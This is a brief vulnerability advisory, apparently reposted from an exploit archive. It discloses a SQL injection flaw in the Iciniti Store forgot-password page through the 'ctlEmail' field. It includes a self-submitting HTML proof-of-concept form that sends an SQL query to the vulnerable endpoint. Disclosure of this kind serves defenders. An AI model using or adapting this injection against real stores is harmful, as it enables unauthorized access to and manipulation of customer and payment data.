Iciniti Store SQL Injection Vulnerability
PHP:
Vendor Notification Date. Â Â Â 28-Jul-2011
Product. Â Â Â Â Â Â Â Â Â Â Â Â Iciniti Store
Platform. Â Â Â Â Â Â Â Â Â Â Â Windows
Affected versions. Â Â Â Â Â Â Â 4.3.3683.31484 verified, and possibly
                others
Severity Rating. Â Â Â Â Â Â Â Â High
Impact. Â Â Â Â Â Â Â Â Â Â Â Â Manipulation of data
Attack Vector. Â Â Â Â Â Â Â Â Â Remote without authentication
Solution Status. Â Â Â Â Â Â Â Â Update is available by contacting
                Iciniti
CVE reference. Â Â Â Â Â Â Â Â Â CVE - not yet assigned
Details.
Iciniti Store is a web application providing e-commerce and payment
solutions. The application suffers from a SQL injection vulnerability
in logon_forgot_password.aspx. It fails to validate data supplied in
the 'ctlEmail' variable before being used in an SQL query.
Proof of Concept.
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action=" http://x.x.x.x/logon_forgot_password.aspx" name="form"
method="POST">
<input type="text" name="ctlEmail" value="SELECT @@VERSION">
<input type="text" name="btnSubmit" value="Submit">
</form>
</body>
</html>
Solution.
Update is available by contacting Iciniti.
Discovered by.
Sense of Security Labs
# Â 0day.today [2017-11-14] Â #